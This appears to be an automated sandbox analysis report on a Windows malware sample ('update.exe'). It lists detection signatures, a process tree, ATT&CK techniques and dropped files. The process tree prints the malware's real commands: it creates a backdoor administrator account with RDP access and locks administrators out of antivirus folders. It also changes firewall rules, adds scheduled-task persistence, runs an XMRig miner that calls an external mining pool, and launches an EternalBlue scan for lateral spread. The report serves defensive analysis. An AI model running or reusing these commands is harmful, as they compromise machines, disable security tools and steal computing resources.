Resubmissions
28/11/2022, 09:53
221128-lwp4eaea331017/11/2022, 04:28
221117-e328zsdf691007/11/2022, 10:35
221107-mm272secgj10Analysis
- max time kernel
347s - max time network
352s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
17/11/2022, 04:28
General
- Target update.exe
- Size 60.2MB
- Sample221117-e328zsdf69
- SHA256 ca94c8bbbb10febb8187f8c709affaa91911f646cf0ac99e857bf45b3a709091
Malware Config
Signatures
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
- RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- UAC bypass 3 TTPs 2 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
- XMRig Miner payload 7 IoCs
- Blocklisted process makes network request 2 IoCs
- Blocks application from running via registry modification 27 IoCs
Adds application to list of disallowed applications.
- Drops file in Drivers directory 2 IoCs
- Executes dropped EXE 24 IoCs
- Modifies Windows Firewall 1 TTPs 7 IoCs
- Registers new Print Monitor 2 TTPs 12 IoCs
- Sets DLL path for service in the registry 2 TTPs 1 IoCs
- Stops running service(s) 3 TTPs
- UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks BIOS information in registry 2 TTPs 10 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 9 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 13 IoCs
- Modifies file permissions 1 TTPs 13 IoCs
- Themida packer 45 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 5 IoCs
- Checks whether UAC is enabled 1 TTPs 6 IoCs
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies WinLogon 2 TTPs 3 IoCs
- AutoIT Executable 37 IoCs
AutoIT scripts compiled to PE executables.
- Drops file in System32 directory 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
- Drops file in Program Files directory 6 IoCs
- Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Modifies data under HKEY_USERS 18 IoCs
- Modifies registry class 3 IoCs
- NTFS ADS 4 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 3 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 26 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 37 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\update.exe"C:\Users\Admin\AppData\Local\Temp\update.exe"1⤵
- Modifies Windows Defender Real-time Protection settings
- UAC bypass
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Blocks application from running via registry modification
- Drops file in Drivers directory
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Modifies WinLogon
- Suspicious use of NtSetInformationThreadHideFromDebugger
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c sc delete swprv2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\sc.exesc delete swprv3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall set allprofiles state on3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN3⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN2⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN3⤵
- Modifies Windows Firewall
-
-
-
C:\ProgramData\Setup\Game.exeC:\ProgramData\Setup\Game.exe -pnaxui2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\RealtekHD\GameGuard.exe"C:\ProgramData\RealtekHD\GameGuard.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)4⤵
-
C:\Windows\system32\icacls.exeicacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Администраторы:(OI)(CI)(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)4⤵
-
C:\Windows\system32\icacls.exeicacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)4⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\Fonts\Mysql" /deny Администраторы:(OI)(CI)(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)4⤵
-
C:\Windows\system32\icacls.exeicacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny Администраторы:(OI)(CI)(F)4⤵
-
C:\Windows\system32\icacls.exeicacls C:\Windows\speechstracing /deny Администраторы:(OI)(CI)(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)4⤵
-
C:\Windows\system32\icacls.exeicacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny Администраторы:(F)4⤵
-
C:\Windows\system32\icacls.exeicacls C:\Programdata\MB3Install /deny Администраторы:(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)4⤵
-
C:\Windows\system32\icacls.exeicacls c:\programdata\Malwarebytes /deny System:(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny Администраторы:(F)4⤵
-
C:\Windows\system32\icacls.exeicacls c:\programdata\Malwarebytes /deny Администраторы:(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny Администраторы:(OI)(CI)(F)4⤵
-
C:\Windows\system32\icacls.exeicacls C:\AdwCleaner /deny Администраторы:(OI)(CI)(F)5⤵
- Modifies file permissions
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny Администраторы:(OI)(CI)(F)4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)4⤵
-
-
-
C:\ProgramData\RealtekHD\taskhost.exe"C:\ProgramData\RealtekHD\taskhost.exe"3⤵
- Modifies visiblity of hidden/system files in Explorer
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- NTFS ADS
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ipconfig /flushdns4⤵
-
C:\Windows\system32\ipconfig.exeipconfig /flushdns5⤵
- Gathers network information
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c gpupdate /force4⤵
- Blocklisted process makes network request
- Executes dropped EXE
- NTFS ADS
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\gpupdate.exegpupdate /force5⤵
-
-
-
C:\ProgramData\Setup\Packs.exeC:\ProgramData\Setup\Packs.exe -ppidar4⤵
- Executes dropped EXE
-
-
C:\ProgramData\RealtekHD\sc.exeC:\ProgramData\RealtekHD\sc.exe -pnaxui4⤵
- Executes dropped EXE
- Launches sc.exe
-
-
C:\ProgramData\RealtekHD\start.exeC:\ProgramData\RealtekHD\start.exe4⤵
- Executes dropped EXE
-
C:\ProgramData\RealtekHD\rundll.exeC:\ProgramData\RealtekHD\rundll.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "system.exe TCP 192.168.1.1 445 150 /save"6⤵
-
C:\ProgramData\RealtekHD\system.exesystem.exe TCP 192.168.1.1 445 150 /save7⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "Eternalblue-2.2.0.exe --inconfig Eternalblue-2.2.0.xml --NetworkTimeout 60 --TargetIp Scan --TargetPort 445 --Target WIN72K8R2"6⤵
-
C:\ProgramData\RealtekHD\Eternalblue-2.2.0.exeEternalblue-2.2.0.exe --inconfig Eternalblue-2.2.0.xml --NetworkTimeout 60 --TargetIp Scan --TargetPort 445 --Target WIN72K8R27⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c "system.exe TCP 10.127.0.12/16 445 150 /save"6⤵
-
C:\ProgramData\RealtekHD\system.exesystem.exe TCP 10.127.0.12/16 445 150 /save7⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
-
-
-
C:\ProgramData\WindowsTask\audiodg.exeC:\ProgramData\WindowsTask\audiodg.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\ProgramData\WindowsTask\MicrosoftHost.exeC:\ProgramData\WindowsTask\MicrosoftHost.exe -o stratum+tcp://185.139.69.167:3333 -u CPU --donate-level=1 -k -t14⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
-
C:\ProgramData\Setup\svchost.exeC:/ProgramData/Setup/svchost.exe -pnaxui2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Setup\IP.exe"C:\ProgramData\Setup\IP.exe"3⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\ProgramData\Setup\smss.exe"C:\ProgramData\Setup\smss.exe"3⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Checks processor information in registry
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST4⤵
- Creates scheduled task(s)
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST4⤵
- Creates scheduled task(s)
-
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" -second5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net user John 12345 /add4⤵
-
C:\Windows\system32\net.exenet user John 12345 /add5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add4⤵
-
C:\Windows\system32\net.exenet localgroup "Администраторы" John /add5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add4⤵
-
C:\Windows\system32\net.exenet localgroup "Пользователи удаленного рабочего стола" John /add5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add4⤵
-
C:\Windows\system32\net.exenet localgroup "Пользователи удаленного управления" john /add" John /add5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add4⤵
-
C:\Windows\system32\net.exenet localgroup "Administrators" John /add5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Administrators" John /add6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add4⤵
-
C:\Windows\system32\net.exenet localgroup "Administradores" John /add5⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Administradores" John /add6⤵
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add4⤵
-
C:\Windows\system32\net.exenet localgroup "Remote Desktop Users" john /add5⤵
-
-
-
C:\ProgramData\RDPWinst.exeC:\ProgramData\RDPWinst.exe -i4⤵
- Executes dropped EXE
- Sets DLL path for service in the registry
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat4⤵
-
C:\Windows\system32\timeout.exetimeout 55⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Programdata\Microsoft\temp\H.bat2⤵
- Drops file in Drivers directory
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\resmon.exe"C:\Windows\system32\resmon.exe"2⤵
-
C:\Windows\System32\perfmon.exe"C:\Windows\System32\perfmon.exe" /res3⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
- Registers new Print Monitor
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user John 12345 /add1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Администраторы" John /add1⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
-
C:\Windows\system32\icacls.exeicacls C:\Programdata\Indus /deny System:(OI)(CI)(F)1⤵
- Modifies file permissions
-
C:\Windows\system32\icacls.exeicacls C:\Programdata\Indus /deny Администраторы:(OI)(CI)(F)1⤵
- Modifies file permissions
-
C:\Windows\system32\icacls.exeicacls C:\Programdata\MB3Install /deny System:(F)1⤵
- Modifies file permissions
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add1⤵
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -s TermService1⤵
- Loads dropped DLL
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\resmon.exe"C:\Windows\system32\resmon.exe"2⤵
-
C:\Windows\System32\perfmon.exe"C:\Windows\System32\perfmon.exe" /res3⤵
- Checks processor information in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" -second2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
C:\ProgramData\Windows Tasks Service\winserv.exe"C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v6
Persistence
Account Manipulation
1Hidden Files and Directories
1Modify Existing Service
3Registry Run Keys / Startup Folder
3Scheduled Task
1Winlogon Helper DLL
1Defense Evasion
Bypass User Account Control
1Disabling Security Tools
2File and Directory Permissions Modification
1Hidden Files and Directories
1Impair Defenses
1Modify Registry
8Virtualization/Sandbox Evasion
1Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
rdpwrap.dll
RDPWinst.exe
RDPWinst.exe
2x64.dll
2x86.dll
GameGuard.exe
GameGuard.exe
adfw-2.dll
adfw.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-xstate-l2-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-multibyte-l1-1-0.dll
api-ms-win-crt-private-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
sc.exe
sc.exe
start.exe
taskhost.exe
taskhost.exe
Game.exe
Game.exe
IP.exe
IP.exe
Packs.exe
smss.exe
smss.exe
svchost.exe
svchost.exe
settings.dat
winserv.exe
winserv.exe
winserv.exe
winserv.exe
winserv.exe
AMD.exe
AppModule.exe
MicrosoftHost.exe
audiodg.exe
audiodg.exe
del.bat
H.bat
103621DE9CD5414CC2538780B4B75751
103621DE9CD5414CC2538780B4B75751
hosts
rdpwrap.dll
rdpwrap.ini
packs.exe
memory/880-351-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/1092-309-0x0000000010000000-0x000000001015E000-memory.dmp
memory/1092-312-0x0000000002880000-0x000000000297E000-memory.dmp
memory/1092-306-0x0000000000700000-0x000000000070E000-memory.dmp
memory/1092-302-0x000000001E000000-0x000000001E29B000-memory.dmp
memory/1240-259-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/1240-197-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/1240-346-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/1280-324-0x0000000000B00000-0x0000000000B19000-memory.dmp
memory/1280-327-0x0000000000B00000-0x0000000000B19000-memory.dmp
memory/1648-250-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/1648-253-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/1972-196-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/1972-193-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/2088-134-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-135-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-141-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-139-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-140-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-138-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-137-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-133-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/2088-136-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-258-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/2088-257-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-132-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2088-142-0x00007FF634240000-0x00007FF638503000-memory.dmp
memory/2876-329-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-328-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-323-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/2876-341-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/2876-339-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-333-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-330-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-301-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-336-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-331-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-334-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/2876-335-0x00007FF663650000-0x00007FF66456C000-memory.dmp
memory/3204-337-0x0000000000740000-0x0000000000751000-memory.dmp
memory/3668-345-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/4292-338-0x0000000000B00000-0x0000000000B19000-memory.dmp
memory/4292-347-0x0000000000B00000-0x0000000000B19000-memory.dmp
memory/4452-266-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/4452-265-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/4528-318-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp
memory/4528-325-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp
memory/4528-316-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/4528-326-0x000002457C2E0000-0x000002457C300000-memory.dmp
memory/4528-322-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp
memory/4528-315-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp
memory/4528-321-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp
memory/4528-320-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp
memory/4528-319-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp
memory/4528-344-0x000002457C430000-0x000002457C450000-memory.dmp
memory/4528-343-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/4528-342-0x000002457C430000-0x000002457C450000-memory.dmp
memory/4528-340-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/4528-317-0x00007FF60F0D0000-0x00007FF610478000-memory.dmp
memory/4528-332-0x000002460E7C0000-0x000002460E800000-memory.dmp
memory/4712-348-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/4780-300-0x00007FF6FBB80000-0x00007FF6FBC84000-memory.dmp
memory/4992-188-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/4992-205-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/4992-198-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/4992-214-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/4992-222-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/4992-233-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/4992-185-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/4992-242-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/4992-249-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/4992-201-0x00007FF660660000-0x00007FF663982000-memory.dmp
memory/5016-350-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/5016-349-0x0000000000400000-0x0000000000E31000-memory.dmp
memory/5068-178-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp
memory/5068-241-0x00007FFD1E270000-0x00007FFD1E465000-memory.dmp
memory/5068-180-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp
memory/5068-179-0x00007FF7900A0000-0x00007FF790C68000-memory.dmp
